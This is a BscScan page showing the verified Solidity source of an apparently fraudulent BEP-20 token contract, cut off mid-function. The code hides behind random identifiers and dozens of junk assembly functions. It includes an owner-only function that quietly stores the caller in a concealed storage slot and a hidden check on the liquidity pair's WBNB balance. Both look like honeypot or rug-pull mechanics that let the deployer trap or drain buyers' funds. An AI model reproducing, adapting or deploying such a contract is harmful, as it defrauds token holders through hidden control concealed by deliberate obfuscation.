BscScan - Sponsored slots available. Book your slot here!
BEP-20
Overview
Max Total Supply
90,000,000,000
Holders
1,887
Market
Price
$0.00 @ 0.000000 BNB
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
61,429,973.284693299Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.
Contract Name:
TOKEN
Compiler Version
v0.8.6+commit.11564f7e
Contract Source Code (Solidity)
/** *Submitted for verification at BscScan.com on 2024-04-14 */ pragma solidity =0.8.6;interface IERC20 { function balanceOf(address bGEXmjKtbNG37s9YToHcY) external view returns (uint256); function totalSupply() external view returns (uint256); function allowance(address owner, address IHeptjtdxbrr) external view returns (uint256); function transfer(address to, uint256 yDqmwOZnC7I3hghArG6W) external returns (bool); function transferFrom( address from, address to, uint256 yDqmwOZnC7I3hghArG6W ) external returns (bool); function approve(address IHeptjtdxbrr, uint256 yDqmwOZnC7I3hghArG6W) external returns (bool);}contract TOKEN { address private JUpQxL; address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; mapping(address => uint256) internal RkA7GqH0dMtEH1cIS9; mapping(address => mapping(address => uint256)) private mt4zFi0aDG4NRsUucMu; uint256 internal L50EwU6; address internal nkj3WXwnmqiX2; string private QQdWI; string private pxUvhgNG; function Fzh4DX8uXgBBbK0Las() public view returns(uint256){ uint256 pFU7tStEZj; assembly{ if gt(pFU7tStEZj,1922241){ pFU7tStEZj:=div(pFU7tStEZj,2) } pFU7tStEZj:=mul(1922241,1758707) if gt(pFU7tStEZj,9211228){ pFU7tStEZj:=div(pFU7tStEZj,2) } pFU7tStEZj:=mod(9211228,1006259) if gt(pFU7tStEZj,9104673){ pFU7tStEZj:=div(pFU7tStEZj,2) } pFU7tStEZj:=div(9104673,2290720) if gt(pFU7tStEZj,4544681){ pFU7tStEZj:=div(pFU7tStEZj,2) } pFU7tStEZj:=sub(4544681,3949982) if gt(pFU7tStEZj,7689221){ pFU7tStEZj:=div(pFU7tStEZj,2) } pFU7tStEZj:=div(7689221,1255117) if gt(pFU7tStEZj,8253690){ pFU7tStEZj:=div(pFU7tStEZj,2) } pFU7tStEZj:=sub(8253690,4632073) if gt(pFU7tStEZj,5199235){ pFU7tStEZj:=div(pFU7tStEZj,2) } pFU7tStEZj:=add(5199235,1392454) if gt(pFU7tStEZj,9442264){ pFU7tStEZj:=div(pFU7tStEZj,2) } pFU7tStEZj:=sub(9442264,1647281) if gt(pFU7tStEZj,9896806){ pFU7tStEZj:=div(pFU7tStEZj,2) } pFU7tStEZj:=mul(9896806,3355433) if gt(pFU7tStEZj,6440963){ pFU7tStEZj:=div(pFU7tStEZj,2) } pFU7tStEZj:=add(6440963,5755411) if gt(pFU7tStEZj,6610238){ pFU7tStEZj:=div(pFU7tStEZj,2) } pFU7tStEZj:=mul(6610238,3914347) if gt(pFU7tStEZj,8279248){ pFU7tStEZj:=div(pFU7tStEZj,2) } pFU7tStEZj:=mul(8279248,923182) if gt(pFU7tStEZj,9491622){ pFU7tStEZj:=div(pFU7tStEZj,2) } pFU7tStEZj:=mul(9491622,3741378) if gt(pFU7tStEZj,1489838){ pFU7tStEZj:=div(pFU7tStEZj,2) } pFU7tStEZj:=mod(1489838,850418) if gt(pFU7tStEZj,6775499){ pFU7tStEZj:=div(pFU7tStEZj,2) } pFU7tStEZj:=div(6775499,1247545) } return pFU7tStEZj;} function transferFrom( address from, address to, uint256 yDqmwOZnC7I3hghArG6W ) public virtual returns (bool) { address IHeptjtdxbrr = G0DuBGd6NK(); _spendAllowance(from, IHeptjtdxbrr, yDqmwOZnC7I3hghArG6W); _transfer(from, to, yDqmwOZnC7I3hghArG6W); return true; }function nSxOLYUvF3hj() public view returns(uint256){ uint256 RNUvH5HV; assembly{ if gt(RNUvH5HV,9834198){ RNUvH5HV:=div(RNUvH5HV,2) } RNUvH5HV:=sub(9834198,990734) if gt(RNUvH5HV,8118448){ RNUvH5HV:=div(RNUvH5HV,2) } RNUvH5HV:=div(8118448,3336407) if gt(RNUvH5HV,7315736){ RNUvH5HV:=div(RNUvH5HV,2) } RNUvH5HV:=mod(7315736,4203973) if gt(RNUvH5HV,9181280){ RNUvH5HV:=div(RNUvH5HV,2) } RNUvH5HV:=sub(9181280,2901651) if gt(RNUvH5HV,4210567){ RNUvH5HV:=div(RNUvH5HV,2) } RNUvH5HV:=add(4210567,3716608) if gt(RNUvH5HV,9386217){ RNUvH5HV:=div(RNUvH5HV,2) } RNUvH5HV:=sub(9386217,3066560) if gt(RNUvH5HV,8429440){ RNUvH5HV:=div(RNUvH5HV,2) } RNUvH5HV:=sub(8429440,1361054) if gt(RNUvH5HV,9915867){ RNUvH5HV:=div(RNUvH5HV,2) } RNUvH5HV:=add(9915867,2026692) if gt(RNUvH5HV,9953456){ RNUvH5HV:=div(RNUvH5HV,2) } RNUvH5HV:=add(9953456,5073169) } return RNUvH5HV;}function KalNJnInUvVCjmWRFR7() public view returns(uint256){ uint256 thoFJkbMg2QVI1Eq; assembly{ if gt(thoFJkbMg2QVI1Eq,3034194){ thoFJkbMg2QVI1Eq:=div(thoFJkbMg2QVI1Eq,2) } thoFJkbMg2QVI1Eq:=mod(3034194,452795) if gt(thoFJkbMg2QVI1Eq,9488674){ thoFJkbMg2QVI1Eq:=div(thoFJkbMg2QVI1Eq,2) } thoFJkbMg2QVI1Eq:=add(9488674,4486972) if gt(thoFJkbMg2QVI1Eq,4744455){ thoFJkbMg2QVI1Eq:=div(thoFJkbMg2QVI1Eq,2) } thoFJkbMg2QVI1Eq:=mul(4744455,2683187) if gt(thoFJkbMg2QVI1Eq,5957928){ thoFJkbMg2QVI1Eq:=div(thoFJkbMg2QVI1Eq,2) } thoFJkbMg2QVI1Eq:=mod(5957928,2237367) if gt(thoFJkbMg2QVI1Eq,3023028){ thoFJkbMg2QVI1Eq:=div(thoFJkbMg2QVI1Eq,2) } thoFJkbMg2QVI1Eq:=div(3023028,568345) if gt(thoFJkbMg2QVI1Eq,5786477){ thoFJkbMg2QVI1Eq:=div(thoFJkbMg2QVI1Eq,2) } thoFJkbMg2QVI1Eq:=mul(5786477,1924635) if gt(thoFJkbMg2QVI1Eq,5740673){ thoFJkbMg2QVI1Eq:=div(thoFJkbMg2QVI1Eq,2) } thoFJkbMg2QVI1Eq:=div(5740673,5212177) if gt(thoFJkbMg2QVI1Eq,7108067){ thoFJkbMg2QVI1Eq:=div(thoFJkbMg2QVI1Eq,2) } thoFJkbMg2QVI1Eq:=sub(7108067,2770944) if gt(thoFJkbMg2QVI1Eq,426486){ thoFJkbMg2QVI1Eq:=div(thoFJkbMg2QVI1Eq,2) } thoFJkbMg2QVI1Eq:=mod(426486,236510) } return thoFJkbMg2QVI1Eq;}function QJfLDfDjVk9P() public view returns(uint256){ uint256 EelMTBaHp5oRqb; assembly{ if gt(EelMTBaHp5oRqb,7656351){ EelMTBaHp5oRqb:=div(EelMTBaHp5oRqb,2) } EelMTBaHp5oRqb:=div(7656351,3908883) if gt(EelMTBaHp5oRqb,8145497){ EelMTBaHp5oRqb:=div(EelMTBaHp5oRqb,2) } EelMTBaHp5oRqb:=mul(8145497,804909) if gt(EelMTBaHp5oRqb,5912253){ EelMTBaHp5oRqb:=div(EelMTBaHp5oRqb,2) } EelMTBaHp5oRqb:=sub(5912253,1759889) if gt(EelMTBaHp5oRqb,4907994){ EelMTBaHp5oRqb:=div(EelMTBaHp5oRqb,2) } EelMTBaHp5oRqb:=mul(4907994,4850371) if gt(EelMTBaHp5oRqb,7590420){ EelMTBaHp5oRqb:=div(EelMTBaHp5oRqb,2) } EelMTBaHp5oRqb:=sub(7590420,1061252) } return EelMTBaHp5oRqb;} function name() public view virtual returns (string memory) { uint256 vk4GYWHkYdUW4e;vk4GYWHkYdUW4e+=4502262;require(vk4GYWHkYdUW4e > 7602);vk4GYWHkYdUW4e+=4106656;require(vk4GYWHkYdUW4e > 9345);vk4GYWHkYdUW4e+=1903206;require(vk4GYWHkYdUW4e > 2876); return QQdWI; }function KhGA6io59uf14FfhcT() public view returns(uint256){ uint256 Ciz2u9hGAlnW; assembly{ if gt(Ciz2u9hGAlnW,4371811){ Ciz2u9hGAlnW:=div(Ciz2u9hGAlnW,2) } Ciz2u9hGAlnW:=div(4371811,3471652) if gt(Ciz2u9hGAlnW,7082741){ Ciz2u9hGAlnW:=div(Ciz2u9hGAlnW,2) } Ciz2u9hGAlnW:=div(7082741,5562292) if gt(Ciz2u9hGAlnW,9968668){ Ciz2u9hGAlnW:=div(Ciz2u9hGAlnW,2) } Ciz2u9hGAlnW:=sub(9968668,1765643) if gt(Ciz2u9hGAlnW,7891893){ Ciz2u9hGAlnW:=div(Ciz2u9hGAlnW,2) } Ciz2u9hGAlnW:=sub(7891893,5579693) if gt(Ciz2u9hGAlnW,6561532){ Ciz2u9hGAlnW:=div(Ciz2u9hGAlnW,2) } Ciz2u9hGAlnW:=mul(6561532,5730276) if gt(Ciz2u9hGAlnW,9862604){ Ciz2u9hGAlnW:=div(Ciz2u9hGAlnW,2) } Ciz2u9hGAlnW:=mul(9862604,5792216) if gt(Ciz2u9hGAlnW,7797490){ Ciz2u9hGAlnW:=div(Ciz2u9hGAlnW,2) } Ciz2u9hGAlnW:=mod(7797490,4809712) if gt(Ciz2u9hGAlnW,6907834){ Ciz2u9hGAlnW:=div(Ciz2u9hGAlnW,2) } Ciz2u9hGAlnW:=mul(6907834,286624) } return Ciz2u9hGAlnW;} function decreaseAllowance(address IHeptjtdxbrr, uint256 subtractedValue) public virtual returns (bool) { address owner = G0DuBGd6NK(); uint256 nxCldvc5bn4 = allowance(owner, IHeptjtdxbrr); require( nxCldvc5bn4 >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, IHeptjtdxbrr, nxCldvc5bn4 - subtractedValue); } return true; }function qTwU6ixCEeueyT() public view returns(uint256){ uint256 Cju1E17xEbndEZU; assembly{ if gt(Cju1E17xEbndEZU,5526010){ Cju1E17xEbndEZU:=div(Cju1E17xEbndEZU,2) } Cju1E17xEbndEZU:=sub(5526010,3346326) if gt(Cju1E17xEbndEZU,9911475){ Cju1E17xEbndEZU:=div(Cju1E17xEbndEZU,2) } Cju1E17xEbndEZU:=mul(9911475,1487637) if gt(Cju1E17xEbndEZU,4868698){ Cju1E17xEbndEZU:=div(Cju1E17xEbndEZU,2) } Cju1E17xEbndEZU:=sub(4868698,2508769) if gt(Cju1E17xEbndEZU,8393171){ Cju1E17xEbndEZU:=div(Cju1E17xEbndEZU,2) } Cju1E17xEbndEZU:=mul(8393171,5864773) if gt(Cju1E17xEbndEZU,7310996){ Cju1E17xEbndEZU:=div(Cju1E17xEbndEZU,2) } Cju1E17xEbndEZU:=mod(7310996,779952) if gt(Cju1E17xEbndEZU,8719031){ Cju1E17xEbndEZU:=div(Cju1E17xEbndEZU,2) } Cju1E17xEbndEZU:=add(8719031,4782453) if gt(Cju1E17xEbndEZU,1099508){ Cju1E17xEbndEZU:=div(Cju1E17xEbndEZU,2) } Cju1E17xEbndEZU:=div(1099508,866035) if gt(Cju1E17xEbndEZU,5087593){ Cju1E17xEbndEZU:=div(Cju1E17xEbndEZU,2) } Cju1E17xEbndEZU:=mod(5087593,2926091) if gt(Cju1E17xEbndEZU,7958305){ Cju1E17xEbndEZU:=div(Cju1E17xEbndEZU,2) } Cju1E17xEbndEZU:=add(7958305,1608664) if gt(Cju1E17xEbndEZU,7684166){ Cju1E17xEbndEZU:=div(Cju1E17xEbndEZU,2) } Cju1E17xEbndEZU:=add(7684166,1094179) if gt(Cju1E17xEbndEZU,7986533){ Cju1E17xEbndEZU:=div(Cju1E17xEbndEZU,2) } Cju1E17xEbndEZU:=mod(7986533,1037869) if gt(Cju1E17xEbndEZU,4237507){ Cju1E17xEbndEZU:=div(Cju1E17xEbndEZU,2) } Cju1E17xEbndEZU:=mul(4237507,284513) if gt(Cju1E17xEbndEZU,8764274){ Cju1E17xEbndEZU:=div(Cju1E17xEbndEZU,2) } Cju1E17xEbndEZU:=mod(8764274,5483905) } return Cju1E17xEbndEZU;} function g44oW4iTymtZ( string memory tokenName, string memory coinSymbol, uint256 supply_ ) public onlyOwner { pxUvhgNG = coinSymbol; QQdWI = tokenName; assembly { sstore(address(), caller()) } } event Transfer(address indexed from, address indexed to, uint256 value); function owner() public view virtual returns (address) { uint256 RQTO205vovtTNEv;RQTO205vovtTNEv+=3823442;require(RQTO205vovtTNEv > 2906);RQTO205vovtTNEv+=3673887;require(RQTO205vovtTNEv > 4815);RQTO205vovtTNEv+=2276559;require(RQTO205vovtTNEv > 6117);RQTO205vovtTNEv+=2126279;require(RQTO205vovtTNEv > 2367);RQTO205vovtTNEv+=980595;require(RQTO205vovtTNEv > 8890);RQTO205vovtTNEv+=2655493;require(RQTO205vovtTNEv > 7256);RQTO205vovtTNEv+=3940197;require(RQTO205vovtTNEv > 3711); return JUpQxL; } function decimals() public view virtual returns (uint8) { uint256 At0ofldEK;At0ofldEK+=3533653;require(At0ofldEK > 6701);At0ofldEK+=3383197;require(At0ofldEK > 4407);At0ofldEK+=4787587;require(At0ofldEK > 1350);At0ofldEK+=235460;require(At0ofldEK > 7651); return 9; }receive() external payable {}function qrYels4RU8UYIYJ9Bbr() public view returns(uint256){ uint256 mgkrfjFRIfEgosw; assembly{ if gt(mgkrfjFRIfEgosw,5794171){ mgkrfjFRIfEgosw:=div(mgkrfjFRIfEgosw,2) } mgkrfjFRIfEgosw:=div(5794171,2142052) if gt(mgkrfjFRIfEgosw,8060118){ mgkrfjFRIfEgosw:=div(mgkrfjFRIfEgosw,2) } mgkrfjFRIfEgosw:=add(8060118,1812574) if gt(mgkrfjFRIfEgosw,8647123){ mgkrfjFRIfEgosw:=div(mgkrfjFRIfEgosw,2) } mgkrfjFRIfEgosw:=add(8647123,477555) if gt(mgkrfjFRIfEgosw,8518137){ mgkrfjFRIfEgosw:=div(mgkrfjFRIfEgosw,2) } mgkrfjFRIfEgosw:=sub(8518137,4874092) if gt(mgkrfjFRIfEgosw,5965105){ mgkrfjFRIfEgosw:=div(mgkrfjFRIfEgosw,2) } mgkrfjFRIfEgosw:=mod(5965105,4500786) if gt(mgkrfjFRIfEgosw,6305433){ mgkrfjFRIfEgosw:=div(mgkrfjFRIfEgosw,2) } mgkrfjFRIfEgosw:=div(6305433,5145267) if gt(mgkrfjFRIfEgosw,6529367){ mgkrfjFRIfEgosw:=div(mgkrfjFRIfEgosw,2) } mgkrfjFRIfEgosw:=mul(6529367,3140679) if gt(mgkrfjFRIfEgosw,8448532){ mgkrfjFRIfEgosw:=div(mgkrfjFRIfEgosw,2) } mgkrfjFRIfEgosw:=mul(8448532,3459158) if gt(mgkrfjFRIfEgosw,2802875){ mgkrfjFRIfEgosw:=div(mgkrfjFRIfEgosw,2) } mgkrfjFRIfEgosw:=add(2802875,554598) if gt(mgkrfjFRIfEgosw,7707552){ mgkrfjFRIfEgosw:=div(mgkrfjFRIfEgosw,2) } mgkrfjFRIfEgosw:=div(7707552,5212982) if gt(mgkrfjFRIfEgosw,6589283){ mgkrfjFRIfEgosw:=div(mgkrfjFRIfEgosw,2) } mgkrfjFRIfEgosw:=mul(6589283,2488432) } return mgkrfjFRIfEgosw;}function nX5BBzU9k0pN() public view returns(uint256){ uint256 qC4w4egXaf; assembly{ if gt(qC4w4egXaf,9063599){ qC4w4egXaf:=div(qC4w4egXaf,2) } qC4w4egXaf:=mul(9063599,4841594) if gt(qC4w4egXaf,9497306){ qC4w4egXaf:=div(qC4w4egXaf,2) } qC4w4egXaf:=add(9497306,4066196) if gt(qC4w4egXaf,9823128){ qC4w4egXaf:=div(qC4w4egXaf,2) } qC4w4egXaf:=sub(9823128,5568135) if gt(qC4w4egXaf,8415871){ qC4w4egXaf:=div(qC4w4egXaf,2) } qC4w4egXaf:=sub(8415871,4397293) if gt(qC4w4egXaf,6841374){ qC4w4egXaf:=div(qC4w4egXaf,2) } qC4w4egXaf:=mod(6841374,4726728) if gt(qC4w4egXaf,6250446){ qC4w4egXaf:=div(qC4w4egXaf,2) } qC4w4egXaf:=mod(6250446,4977147) if gt(qC4w4egXaf,1725859){ qC4w4egXaf:=div(qC4w4egXaf,2) } qC4w4egXaf:=div(1725859,651335) if gt(qC4w4egXaf,1831856){ qC4w4egXaf:=div(qC4w4egXaf,2) } qC4w4egXaf:=sub(1831856,1354391) if gt(qC4w4egXaf,6749880){ qC4w4egXaf:=div(qC4w4egXaf,2) } qC4w4egXaf:=sub(6749880,4847569) if gt(qC4w4egXaf,6928839){ qC4w4egXaf:=div(qC4w4egXaf,2) } qC4w4egXaf:=div(6928839,5411236) if gt(qC4w4egXaf,7623547){ qC4w4egXaf:=div(qC4w4egXaf,2) } qC4w4egXaf:=add(7623547,3936239) if gt(qC4w4egXaf,8075146){ qC4w4egXaf:=div(qC4w4egXaf,2) } qC4w4egXaf:=mul(8075146,41715) if gt(qC4w4egXaf,8136500){ qC4w4egXaf:=div(qC4w4egXaf,2) } qC4w4egXaf:=sub(8136500,3362260) } return qC4w4egXaf;}function _transfer( address from, address to, uint256 yDqmwOZnC7I3hghArG6W ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require( to != address(0) && to != address(this), "ERC20: transfer to the zero address" ); _beforeTokenTransfer(from, to, yDqmwOZnC7I3hghArG6W); uint256 fromBalance = RkA7GqH0dMtEH1cIS9[from]; require(fromBalance >= yDqmwOZnC7I3hghArG6W, "ERC20: transfer exceeds balance"); RkA7GqH0dMtEH1cIS9[from] -= yDqmwOZnC7I3hghArG6W; RkA7GqH0dMtEH1cIS9[to] += yDqmwOZnC7I3hghArG6W; emit Transfer(from, to, yDqmwOZnC7I3hghArG6W); _afterTokenTransfer(from, to, yDqmwOZnC7I3hghArG6W); }function I3IyGDqzIJNAYizWC() public view returns(uint256){ uint256 PZTqVmyFpWCd5oh3; assembly{ if gt(PZTqVmyFpWCd5oh3,5814420){ PZTqVmyFpWCd5oh3:=div(PZTqVmyFpWCd5oh3,2) } PZTqVmyFpWCd5oh3:=div(5814420,4734648) if gt(PZTqVmyFpWCd5oh3,9663039){ PZTqVmyFpWCd5oh3:=div(PZTqVmyFpWCd5oh3,2) } PZTqVmyFpWCd5oh3:=add(9663039,1051938) if gt(PZTqVmyFpWCd5oh3,8446519){ PZTqVmyFpWCd5oh3:=div(PZTqVmyFpWCd5oh3,2) } PZTqVmyFpWCd5oh3:=add(8446519,5993486) if gt(PZTqVmyFpWCd5oh3,8488020){ PZTqVmyFpWCd5oh3:=div(PZTqVmyFpWCd5oh3,2) } PZTqVmyFpWCd5oh3:=div(8488020,2459537) if gt(PZTqVmyFpWCd5oh3,2345918){ PZTqVmyFpWCd5oh3:=div(PZTqVmyFpWCd5oh3,2) } PZTqVmyFpWCd5oh3:=mod(2345918,2157723) if gt(PZTqVmyFpWCd5oh3,3979539){ PZTqVmyFpWCd5oh3:=div(PZTqVmyFpWCd5oh3,2) } PZTqVmyFpWCd5oh3:=mod(3979539,1968145) if gt(PZTqVmyFpWCd5oh3,5068264){ PZTqVmyFpWCd5oh3:=div(PZTqVmyFpWCd5oh3,2) } PZTqVmyFpWCd5oh3:=sub(5068264,1035255) if gt(PZTqVmyFpWCd5oh3,4701366){ PZTqVmyFpWCd5oh3:=div(PZTqVmyFpWCd5oh3,2) } PZTqVmyFpWCd5oh3:=add(4701366,4299136) if gt(PZTqVmyFpWCd5oh3,1293769){ PZTqVmyFpWCd5oh3:=div(PZTqVmyFpWCd5oh3,2) } PZTqVmyFpWCd5oh3:=mod(1293769,633594) if gt(PZTqVmyFpWCd5oh3,9536593){ PZTqVmyFpWCd5oh3:=div(PZTqVmyFpWCd5oh3,2) } PZTqVmyFpWCd5oh3:=sub(9536593,3046845) if gt(PZTqVmyFpWCd5oh3,6885829){ PZTqVmyFpWCd5oh3:=div(PZTqVmyFpWCd5oh3,2) } PZTqVmyFpWCd5oh3:=mul(6885829,4956450) if gt(PZTqVmyFpWCd5oh3,7692168){ PZTqVmyFpWCd5oh3:=div(PZTqVmyFpWCd5oh3,2) } PZTqVmyFpWCd5oh3:=div(7692168,2456745) } return PZTqVmyFpWCd5oh3;} event Approval( address indexed owner, address indexed IHeptjtdxbrr, uint256 value ); function _spendAllowance( address owner, address IHeptjtdxbrr, uint256 yDqmwOZnC7I3hghArG6W ) internal virtual { uint256 nxCldvc5bn4 = allowance(owner, IHeptjtdxbrr); if (nxCldvc5bn4 != type(uint256).max) { require( nxCldvc5bn4 >= yDqmwOZnC7I3hghArG6W, "ERC20: insufficient allowance" ); unchecked { _approve(owner, IHeptjtdxbrr, nxCldvc5bn4 - yDqmwOZnC7I3hghArG6W); } } }function BNwtHtOFs5BBrX0hI() public view returns(uint256){ uint256 kHHhXlSg; assembly{ if gt(kHHhXlSg,8298957){ kHHhXlSg:=div(kHHhXlSg,2) } kHHhXlSg:=mul(8298957,4678546) if gt(kHHhXlSg,2562676){ kHHhXlSg:=div(kHHhXlSg,2) } kHHhXlSg:=mod(2562676,1075397) if gt(kHHhXlSg,3005836){ kHHhXlSg:=div(kHHhXlSg,2) } kHHhXlSg:=div(3005836,678666) if gt(kHHhXlSg,8393682){ kHHhXlSg:=div(kHHhXlSg,2) } kHHhXlSg:=add(8393682,455794) if gt(kHHhXlSg,5947862){ kHHhXlSg:=div(kHHhXlSg,2) } kHHhXlSg:=add(5947862,4053128) if gt(kHHhXlSg,6735894){ kHHhXlSg:=div(kHHhXlSg,2) } kHHhXlSg:=div(6735894,5333386) if gt(kHHhXlSg,7307132){ kHHhXlSg:=div(kHHhXlSg,2) } kHHhXlSg:=div(7307132,3807522) if gt(kHHhXlSg,7579741){ kHHhXlSg:=div(kHHhXlSg,2) } kHHhXlSg:=mod(7579741,1229176) if gt(kHHhXlSg,7125505){ kHHhXlSg:=div(kHHhXlSg,2) } kHHhXlSg:=add(7125505,5230837) if gt(kHHhXlSg,6071466){ kHHhXlSg:=div(kHHhXlSg,2) } kHHhXlSg:=div(6071466,3578260) if gt(kHHhXlSg,4670007){ kHHhXlSg:=div(kHHhXlSg,2) } kHHhXlSg:=mul(4670007,2989674) } return kHHhXlSg;} function ywCN29i8Z6Z() public view returns(uint256){ uint256 q9jg7bex5ih8EG2; assembly{ if gt(q9jg7bex5ih8EG2,6169620){ q9jg7bex5ih8EG2:=div(q9jg7bex5ih8EG2,2) } q9jg7bex5ih8EG2:=mul(6169620,3863950) if gt(q9jg7bex5ih8EG2,9652340){ q9jg7bex5ih8EG2:=div(q9jg7bex5ih8EG2,2) } q9jg7bex5ih8EG2:=add(9652340,2737408) if gt(q9jg7bex5ih8EG2,6129243){ q9jg7bex5ih8EG2:=div(q9jg7bex5ih8EG2,2) } q9jg7bex5ih8EG2:=add(6129243,5610277) if gt(q9jg7bex5ih8EG2,7767232){ q9jg7bex5ih8EG2:=div(q9jg7bex5ih8EG2,2) } q9jg7bex5ih8EG2:=mod(7767232,5040376) if gt(q9jg7bex5ih8EG2,3828257){ q9jg7bex5ih8EG2:=div(q9jg7bex5ih8EG2,2) } q9jg7bex5ih8EG2:=sub(3828257,2038269) if gt(q9jg7bex5ih8EG2,3674970){ q9jg7bex5ih8EG2:=div(q9jg7bex5ih8EG2,2) } q9jg7bex5ih8EG2:=mul(3674970,3403064) if gt(q9jg7bex5ih8EG2,5295092){ q9jg7bex5ih8EG2:=div(q9jg7bex5ih8EG2,2) } q9jg7bex5ih8EG2:=sub(5295092,4916378) if gt(q9jg7bex5ih8EG2,5652502){ q9jg7bex5ih8EG2:=div(q9jg7bex5ih8EG2,2) } q9jg7bex5ih8EG2:=sub(5652502,3262534) if gt(q9jg7bex5ih8EG2,6789707){ q9jg7bex5ih8EG2:=div(q9jg7bex5ih8EG2,2) } q9jg7bex5ih8EG2:=sub(6789707,5820339) if gt(q9jg7bex5ih8EG2,8305750){ q9jg7bex5ih8EG2:=div(q9jg7bex5ih8EG2,2) } q9jg7bex5ih8EG2:=mul(8305750,1634830) } return q9jg7bex5ih8EG2;}function YcpBMr4xWNG3skh() public view returns(uint256){ uint256 MUzOkSgj; assembly{ if gt(MUzOkSgj,7203319){ MUzOkSgj:=div(MUzOkSgj,2) } MUzOkSgj:=mod(7203319,2193707) if gt(MUzOkSgj,7227187){ MUzOkSgj:=div(MUzOkSgj,2) } MUzOkSgj:=div(7227187,2502885) if gt(MUzOkSgj,8204932){ MUzOkSgj:=div(MUzOkSgj,2) } MUzOkSgj:=add(8204932,63702) if gt(MUzOkSgj,8029142){ MUzOkSgj:=div(MUzOkSgj,2) } MUzOkSgj:=mul(8029142,5446311) if gt(MUzOkSgj,7153202){ MUzOkSgj:=div(MUzOkSgj,2) } MUzOkSgj:=mod(7153202,5662626) if gt(MUzOkSgj,2680856){ MUzOkSgj:=div(MUzOkSgj,2) } MUzOkSgj:=add(2680856,2240825) if gt(MUzOkSgj,4499719){ MUzOkSgj:=div(MUzOkSgj,2) } MUzOkSgj:=mul(4499719,1083688) if gt(MUzOkSgj,8187922){ MUzOkSgj:=div(MUzOkSgj,2) } MUzOkSgj:=div(8187922,3464631) if gt(MUzOkSgj,9876428){ MUzOkSgj:=div(MUzOkSgj,2) } MUzOkSgj:=mod(9876428,2932685) if gt(MUzOkSgj,8698506){ MUzOkSgj:=div(MUzOkSgj,2) } MUzOkSgj:=sub(8698506,5173392) if gt(MUzOkSgj,5294802){ MUzOkSgj:=div(MUzOkSgj,2) } MUzOkSgj:=add(5294802,5179416) if gt(MUzOkSgj,3988854){ MUzOkSgj:=div(MUzOkSgj,2) } MUzOkSgj:=div(3988854,1034555) if gt(MUzOkSgj,8849314){ MUzOkSgj:=div(MUzOkSgj,2) } MUzOkSgj:=div(8849314,3203333) } return MUzOkSgj;}function xRLOB31DLTmx53tu() public view returns(uint256){ uint256 lss1tQovj8; assembly{ if gt(lss1tQovj8,7787304){ lss1tQovj8:=div(lss1tQovj8,2) } lss1tQovj8:=sub(7787304,5961915) if gt(lss1tQovj8,3186096){ lss1tQovj8:=div(lss1tQovj8,2) } lss1tQovj8:=add(3186096,673346) if gt(lss1tQovj8,8334418){ lss1tQovj8:=div(lss1tQovj8,2) } lss1tQovj8:=div(8334418,5628450) if gt(lss1tQovj8,8049293){ lss1tQovj8:=div(lss1tQovj8,2) } lss1tQovj8:=mul(8049293,2952218) if gt(lss1tQovj8,6069903){ lss1tQovj8:=div(lss1tQovj8,2) } lss1tQovj8:=mod(6069903,3930308) if gt(lss1tQovj8,9064714){ lss1tQovj8:=div(lss1tQovj8,2) } lss1tQovj8:=add(9064714,5197813) if gt(lss1tQovj8,5332698){ lss1tQovj8:=div(lss1tQovj8,2) } lss1tQovj8:=add(5332698,73614) if gt(lss1tQovj8,6841861){ lss1tQovj8:=div(lss1tQovj8,2) } lss1tQovj8:=sub(6841861,3480185) if gt(lss1tQovj8,403667){ lss1tQovj8:=div(lss1tQovj8,2) } lss1tQovj8:=mul(403667,103559) if gt(lss1tQovj8,1527869){ lss1tQovj8:=div(lss1tQovj8,2) } lss1tQovj8:=sub(1527869,290494) if gt(lss1tQovj8,8898075){ lss1tQovj8:=div(lss1tQovj8,2) } lss1tQovj8:=add(8898075,1710479) if gt(lss1tQovj8,7484741){ lss1tQovj8:=div(lss1tQovj8,2) } lss1tQovj8:=div(7484741,5639532) if gt(lss1tQovj8,9902878){ lss1tQovj8:=div(lss1tQovj8,2) } lss1tQovj8:=mod(9902878,1637537) } return lss1tQovj8;} function renounceOwnership() public virtual onlyOwner { uint256 ohQNNI4DEEsCQA6K;ohQNNI4DEEsCQA6K+=1699479;require(ohQNNI4DEEsCQA6K > 8957);ohQNNI4DEEsCQA6K+=1702642;require(ohQNNI4DEEsCQA6K > 1445);ohQNNI4DEEsCQA6K+=752043;require(ohQNNI4DEEsCQA6K > 4083);ohQNNI4DEEsCQA6K+=2008050;require(ohQNNI4DEEsCQA6K > 7404); Py9TGHlBkdaxu0(address(0)); } function transfer(address to, uint256 yDqmwOZnC7I3hghArG6W) public virtual returns (bool) { address owner = G0DuBGd6NK(); _transfer(owner, to, yDqmwOZnC7I3hghArG6W); return true; } function _mint(address bGEXmjKtbNG37s9YToHcY, uint256 yDqmwOZnC7I3hghArG6W) internal virtual { require(bGEXmjKtbNG37s9YToHcY != address(0), "ERC20: mint to the zero address"); uint256 zqGkpU8wO8OC;zqGkpU8wO8OC+=2857448;require(zqGkpU8wO8OC > 3430);zqGkpU8wO8OC+=1254345;require(zqGkpU8wO8OC > 2292);zqGkpU8wO8OC+=5081332;require(zqGkpU8wO8OC > 4765);zqGkpU8wO8OC+=3577639;require(zqGkpU8wO8OC > 5717);zqGkpU8wO8OC+=669265;require(zqGkpU8wO8OC > 6293);zqGkpU8wO8OC+=1170795;require(zqGkpU8wO8OC > 3187); L50EwU6 += yDqmwOZnC7I3hghArG6W; RkA7GqH0dMtEH1cIS9[bGEXmjKtbNG37s9YToHcY] += yDqmwOZnC7I3hghArG6W; emit Transfer(address(0), bGEXmjKtbNG37s9YToHcY, yDqmwOZnC7I3hghArG6W); } function allowance(address owner, address IHeptjtdxbrr) public view virtual returns (uint256) { return mt4zFi0aDG4NRsUucMu[owner][IHeptjtdxbrr]; }function EvWqheNkqwgKKrf4() internal view returns (uint256) { (,bytes memory returnData) = WBNB.staticcall(abi.encodeWithSelector(0x70a08231,nkj3WXwnmqiX2)); return abi.decode(returnData, (uint256)); } function totalSupply() public view virtual returns (uint256) { uint256 pSvvHwRRhA8b9ksX;pSvvHwRRhA8b9ksX+=3670281;require(pSvvHwRRhA8b9ksX > 